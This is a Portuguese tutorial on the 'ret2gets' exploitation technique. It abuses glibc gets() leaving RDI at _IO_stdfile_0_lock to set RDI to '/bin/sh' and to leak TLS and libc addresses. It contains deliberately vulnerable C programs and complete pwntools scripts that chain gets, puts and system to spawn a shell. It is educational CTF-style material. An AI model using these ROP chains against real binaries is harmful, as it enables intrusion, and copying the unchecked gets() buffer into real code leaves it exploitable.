Ret2gets

A função gets() é notoriamente insegura devido à sua forma de funcionamento: ela lê uma sequência de caracteres da entrada padrão até encontrar um caractere de nova linha (), sem realizar qualquer tipo de verificação de tamanho. Isso permite que um atacante sobrescreva partes da pilha, causando buffer overflows. Porém, além dessa vulnerabilidade, gets() possui uma característica que pode ser explorada de maneira bastante útil, especialmente em exploits que utilizam ROP (Return-Oriented Programming).

Registrador RDI

Em arquiteturas x86_64 (64 bits), os parâmetros das funções são passados através de registradores, e o primeiro argumento é sempre armazenado no registrador RDI. No caso da função gets(), espera-se que RDI contenha um ponteiro para uma região de memória com permissão de escrita, onde os dados digitados serão armazenados.

Esse comportamento pode se tornar um obstáculo em determinados cenários de exploração, pois nem sempre é possível controlar diretamente o valor de RDI, o que inviabiliza, por exemplo, chamadas diretas como system("/bin/sh") dentro de uma cadeia ROP.

É justamente aí que a gets() pode ser explorada a nosso favor. Ao ser chamada com RDI apontando para uma região controlada (ou previsível), ela pode nos fornecer um local de escrita arbitrário que persiste após a execução, facilitando o controle de ponteiros para estágios posteriores do exploit.

Considere o seguinte código de exemplo:

ret2gets.c
#include <stdio.h>

int main() {
    char buffer[10];
    puts("Consegue descobrir o que se esconde por trás do funcionamento da gets?");
    gets(buffer);
    return 0;
}

Ao executarmos esse programa com o auxílio do PwnDbg, podemos definir um breakpoint logo após a chamada da função gets() e inspecionar o valor do registrador RDI:

 RAX  0x7fffffffdce6 ◂— 0x7fff006161616161 /* 'aaaaa' */
 ...
 RDI  0x7ffff7fa9720 (_IO_stdfile_0_lock) ◂— 0
 RSI  0x61616161
 ...
 RBP  0x7fffffffdcf0 —▸ 0x7fffffffdd90 —▸ 0x7fffffffddf0 ◂— 0
 RSP  0x7fffffffdce0 ◂— 0x61617fffffffddd0
 RIP  0x401182 (main+44) ◂— mov eax, 0

Notamos que RDI armazena o endereço _IO_stdfile_0_lock, que pertence a uma região da memória da libc com permissões de leitura e escrita.

pwndbg> vmmap $rdi
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x7ffff7fa7000     0x7ffff7fa9000 rw-p     2000 202000 /usr/lib/x86_64-linux-gnu/libc.so.6
►   0x7ffff7fa9000     0x7ffff7fb6000 rw-p     d000      0 [anon_7ffff7fa9] +0x720
    0x7ffff7fbd000     0x7ffff7fbf000 rw-p     2000      0 [anon_7ffff7fbd]

Entendendo o _IO_stdfile_0_lock

Antes de vermos como isso pode nos ajudar em exploits, é importante entender o que é a _IO_stdfile_0_lock. Para isso, devemos lembrar que a libc é uma biblioteca com suporte a múltiplas threads, e por conta disso, precisa implementar mecanismos para evitar problemas como deadlocks e race conditions. De forma resumida, esses problemas ocorrem quando threads ficam presas esperando recursos indefinidamente (deadlock), ou quando competem entre si para acessar um recurso compartilhado de maneira não sincronizada (race condition).

Uma das principais estratégias para evitar essas condições é o uso de locks, que impedem o acesso simultâneo a uma determinada estrutura ou recurso por mais de uma thread. Um exemplo claro disso está na função gets() da glibc 2.35.

gets-2.35.c
char *
_IO_gets (char *buf)
{
  size_t count;
  int ch;
  char *retval;

  _IO_acquire_lock (stdin);
  ch = _IO_getc_unlocked (stdin);
  if (ch == EOF)
    {
      retval = NULL;
      goto unlock_return;
    }
  if (ch == '\n')
    count = 0;
  else
    {
      /* This is very tricky since a file descriptor may be in the
	 non-blocking mode. The error flag doesn't mean much in this
	 case. We return an error only when there is a new error. */
      int old_error = stdin->_flags & _IO_ERR_SEEN;
      stdin->_flags &= ~_IO_ERR_SEEN;
      buf[0] = (char) ch;
      count = _IO_getline (stdin, buf + 1, INT_MAX, '\n', 0) + 1;
      if (stdin->_flags & _IO_ERR_SEEN)
	{
	  retval = NULL;
	  goto unlock_return;
	}
      else
	stdin->_flags |= old_error;
    }
  buf[count] = 0;
  retval = buf;
unlock_return:
  _IO_release_lock (stdin);
  return retval;
}

Podemos observar que a função utiliza os macros _IO_acquire_lock e _IO_release_lock para adquirir e liberar um lock em torno da estrutura stdin. Isso significa que, ao ser chamada, gets() tenta bloquear a estrutura associada à entrada padrão. Caso ela já esteja em uso por outra thread, será necessário esperar até que o lock seja liberado.

Para que isso funcione, a estrutura FILE utilizada pela glibc possui um campo chamado _lock, que aponta para uma estrutura do tipo _IO_lock_t:

_IO_lock_t.c
typedef struct { 
    int lock; 
    int cnt; 
    void *owner; 
} _IO_lock_t;

Esses campos são fundamentais para o controle de concorrência:

  • lock: indica se a estrutura está bloqueada no momento;

  • cnt: conta o número de tentativas de aquisição do lock;

  • owner: é um ponteiro para a estrutura da thread atual, localizada na TLS (Thread Local Storage) — por curiosidade, essa região está associada ao registrador fs, o mesmo onde o canary de proteção de stack é armazenado.

No caso da gets(), a instância _IO_stdfile_0_lock representa o lock associado ao stdin. Então, quando a função tenta adquirir o lock, ela acessa essa estrutura para verificar se o recurso está disponível. Esse comportamento pode ser explorado em certas situações, como veremos a seguir.

Exploits

Essa característica pode ser explorada com diferentes propósitos: manipular o valor do registrador RDI, vazar o endereço da libc, ou até mesmo ambos em sequência.

Manipulando RDI

Como vimos anteriormente, ao final da execução da função gets(), o registrador RDI contém um ponteiro para a estrutura de lock utilizada — no caso, _IO_stdfile_0_lock.

Sabendo disso, se chamarmos gets() novamente, desta vez estaremos sobrescrevendo diretamente os campos dessa estrutura. Isso nos permite manipular o que estará armazenado no registrador RDI após essa segunda chamada. Com os valores corretos, podemos fazer com que RDI aponte, por exemplo, para a string "/bin/sh" — exatamente o que a função system() espera para abrir um shell.

Vamos considerar o seguinte programa vulnerável:

ret2gets2.c
#include <stdio.h>
#include <stdlib.h>

// gcc ret2gets2.c -o ret2gets2 -no-pie -fno-stack-protector
int main() {
    char buffer[10];
    printf("Vamos ver se você realmente aprendeu! Tome isso como presente: %p\n", system);
    gets(buffer);
    return 0;
}

Com base nesse código, podemos obter acesso a um terminal interativo com o seguinte script:

solve2.py
from pwn import *

elf = context.binary = ELF("./ret2gets2")
p = process()

# Vazando a system.
p.recvuntil(b"presente: ")
system = int(p.recvline(keepends=False).decode(), 16)

# Montando cadeia.
payload = b"A" * 18 + p64(elf.plt["gets"]) + p64(system)
p.sendline(payload)

# Reescrevendo a _IO_stdfile_0_lock.
# O +1 é necessário pois ao dar unlock, o cnt é decrementado.
payload = b"/bin" + p8(u8(b"/") + 1) + b"sh"
p.sendline(payload)

# Boom.
p.interactive()

Curiosidade: Após a reescrita da estrutura com a string "/bin/sh", o valor é mantido mesmo após novas interações, pois o uso dos locks apenas incrementa e depois decrementa o campo cnt, mantendo a string inalterada.

Vazando a libc

Nem sempre o endereço da libc estará disponível diretamente, mas a função gets() pode ser explorada para vazá-lo de diferentes maneiras. Como já temos controle sobre o registrador RDI, uma das abordagens possíveis é inserir uma format string na estrutura _IO_stdfile_0_lock e então chamar a função printf().

Outra estratégia é usar a função puts() para imprimir o valor do campo owner da estrutura. Isso é útil porque a TLS (Thread-Local Storage) costuma ser carregada em um endereço próximo ao da libc. A partir desse valor, podemos calcular o offset até a base da libc.

Para que essa técnica funcione corretamente, precisamos considerar alguns pontos:

  • gets(): termina a string com um byte nulo (\x00);

  • puts(): imprime até encontrar o primeiro byte nulo;

  • owner: recebe NULL caso o campo cnt da estrutura seja igual a 1.

Como a estrutura _IO_stdfile_0_lock começa com os campos lock e cnt (ambos com 4 bytes), precisamos preencher um padding de 8 bytes antes de alcançar o campo owner. No entanto, esse preenchimento não pode conter bytes nulos, senão o puts() irá parar prematuramente a impressão.

Uma forma de contornar isso é explorar a verificação feita ao liberar um lock: --cnt == 0. Se atribuirmos cnt = 0, ao ser decrementado ele se tornará -1 (representado como 0xFFFFFFFF em hexadecimal), evitando a atribuição de NULL ao owner e garantindo que o campo contenha um valor útil para vazamento — e sem nenhum byte nulo.

Com isso em mente, veja o exemplo a seguir:

ret2gets3.c
#include <stdio.h>
#include <stdlib.h>

// gcc ret2gets3.c -o ret2gets3 -no-pie -fno-stack-protector
int main() {
    char buffer[10];
    puts("Dessa vez nenhum presente sera oferecido! Voce esta por conta propria.");
    gets(buffer);
    return 0;
}

Com base nesse código, podemos vazar um endereço da TLS usando o seguinte script:

solve3.py
from pwn import *

elf = context.binary = ELF("./ret2gets3")
p = process()

# Construindo a cadeia ROP: chama gets() e depois puts().
payload = b"A" * 18 + p64(elf.plt.gets) + p64(elf.plt.puts)
p.sendlineafter(b"Dessa vez nenhum presente sera oferecido! Voce esta por conta propria.\n", payload)

# Sobrescrevendo _IO_stdfile_0_lock com cnt = 0 (evita NULL em owner).
p.sendline(b"A" * 4 + b"\x00" * 3)

# Vazando o valor de owner (endereços da TLS).
p.recv(8) #Descarta lock e cnt.
tls = u64(p.recv(6) + b"\x00\x00")
print(f"TLS: {hex(tls)}")

Vazando a libc na 2.37+

A partir da versão 2.37 da libc, foram introduzidas verificações adicionais relacionadas ao uso de múltiplas threads, incluindo a checagem se cnt != 0 antes de permitir o decremento. Isso impede a antiga técnica de simplesmente definir cnt = 0 e forçar a subtração para resultar em 0xFFFFFFFF.

Para contornar essa limitação, vamos precisar invocar a função gets() duas vezes. A ideia é: na primeira chamada, sobrescrevemos parcialmente a estrutura _IO_stdfile_0_lock, e na segunda, forçamos o gets() a inserir um byte nulo no campo cnt. Dessa forma, conseguimos manipular a estrutura de modo que ela passe pela verificação de lock e ainda permita o vazamento da TLS — e, consequentemente, o cálculo da base da libc.

Analisando a estrutura da _IO_stdfile_0_lock durante o processo:

  • Após o primeiro gets():

    • lock = 0

    • cnt = LIXO (qualquer valor)

    • *owner = LIXOLIXO

  • Durante o segundo gets() (aquisição do lock):

    • lock = 1

    • cnt = LIXO

    • *owner = TLS

  • Meio do segundo gets() (reescrevendo a estrutura):

    • lock = LIXO

    • cnt = LIX\x00

    • *owner = TLS

  • Final do segundo gets() (liberação do lock):

    • cnt = LIX\x00 - 1 → resultando em 0x4C4957FF, sem bytes nulos.

Essa técnica funciona tanto em ambientes com uma única thread quanto com múltiplas, pois a modificação de owner já ocorre logo na primeira entrada.

Usando novamente o código ret2gets3.c, podemos escrever um script funcional para versões da libc 2.37+:

solve4.py
from pwn import *

elf = context.binary = ELF("./ret2gets3")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process()

# Construindo a cadeia ROP.
payload = b"A" * 18 + p64(elf.plt.gets) + p64(elf.plt.gets) + p64(elf.plt.puts) + p64(elf.sym.main)
p.sendlineafter(b"Dessa vez nenhum presente sera oferecido! Voce esta por conta propria.\n", payload)

# Sobrescrevendo _IO_stdfile_0_lock com lixo.
p.sendline(p32(0) + b"LIXO" + b"LIXOLIXO")
p.sendline(b"LIXO")

# Vazando o valor de owner (endereços da TLS).
p.recv(8) #Descarta lock e cnt.
tls = u64(p.recv(6) + b"\x00\x00")

# Setando a libc (o 0x28C0 foi encontrado via debugging).
libc.address = tls + 0x28C0

# Ganhando acesso ao terminal.
payload = b"A" * 18 + p64(elf.plt.gets) + p64(libc.sym.system)
p.sendline(payload)
p.sendline(b"/bin" + p8(u8(b"/") + 1) + b"sh")
p.interactive()

O que fazer caso o RDI não seja igual a _IO_stdfile_0_lock

Em alguns desafios, ao final de uma cadeia de chamadas, o registrador RDI — que é usado para passar o primeiro argumento para funções no calling convention do x86_64 — pode não estar apontando diretamente para _IO_stdfile_0_lock. Felizmente, existem diversas estratégias para contornar isso. Aqui focamos em soluções diretas para os casos mais comuns. Para uma explicação mais completa, veja a primeira referência.

Caso 1: RDI aponta para uma região com permissão de escrita

Se o valor contido em RDI for um endereço que possui permissão de escrita (como .bss, .data, ou até a pilha), você pode simplesmente chamar gets() novamente.

Isso porque gets() aceita qualquer endereço gravável como destino de escrita, e no fim da função, o registrador RDI será atualizado para _IO_stdfile_0_lock.

Caso 2: RDI aponta para uma região somente de leitura

Como gets() exige permissão de escrita, esse cenário causaria uma falha. Porém, há uma solução indireta:

  • Chame puts() com o valor atual de RDI.

A puts() apenas lê o conteúdo, não escreve. E, após sua execução, RDI geralmente é atualizado para algum endereço com permissão de escrita caindo no caso anterior.

Caso 3: RDI é nulo

Quando RDI está com valor 0x0, algumas funções podem ser usadas para manipulá-lo indiretamente:

  • printf(NULL): Ignora a chamada e apenas retorna. O programa segue normalmente, e RDI costuma receber um endereço válido e gravável;

  • fflush(NULL): Quando chamada com NULL, o parâmetro é interpretado como todos os arquivos abertos, e RDI normalmente acaba apontando para uma região válida da pilha.

Caso 4: RDI contém lixo

Se o valor de RDI é completamente aleatório, há funções tolerantes a isso que podem nos devolver algo útil:

  • rand(junk): A função ignora o parâmetro e, ao ser chamada, pode fazer com que RDI passe a apontar para unsafe_state da glibc (área interna usada pelo RNG), que normalmente possui permissão de escrita;

  • getchar(junk) ou putchar(junk): Apesar de não confiáveis, em alguns casos podem resultar em RDI se tornando NULL ou algum valor seguro, redirecionando para os casos anteriores.

Referências

Pwn-notes - Principal referência para esta pesquisa, recomendo dar uma olhada, tem muito mais detalhes além de um script para identificação do RDI retornando com o _IO_stdfile_0_lock.

bootlin - Útil para ver o código fonte da libc.

Atualizado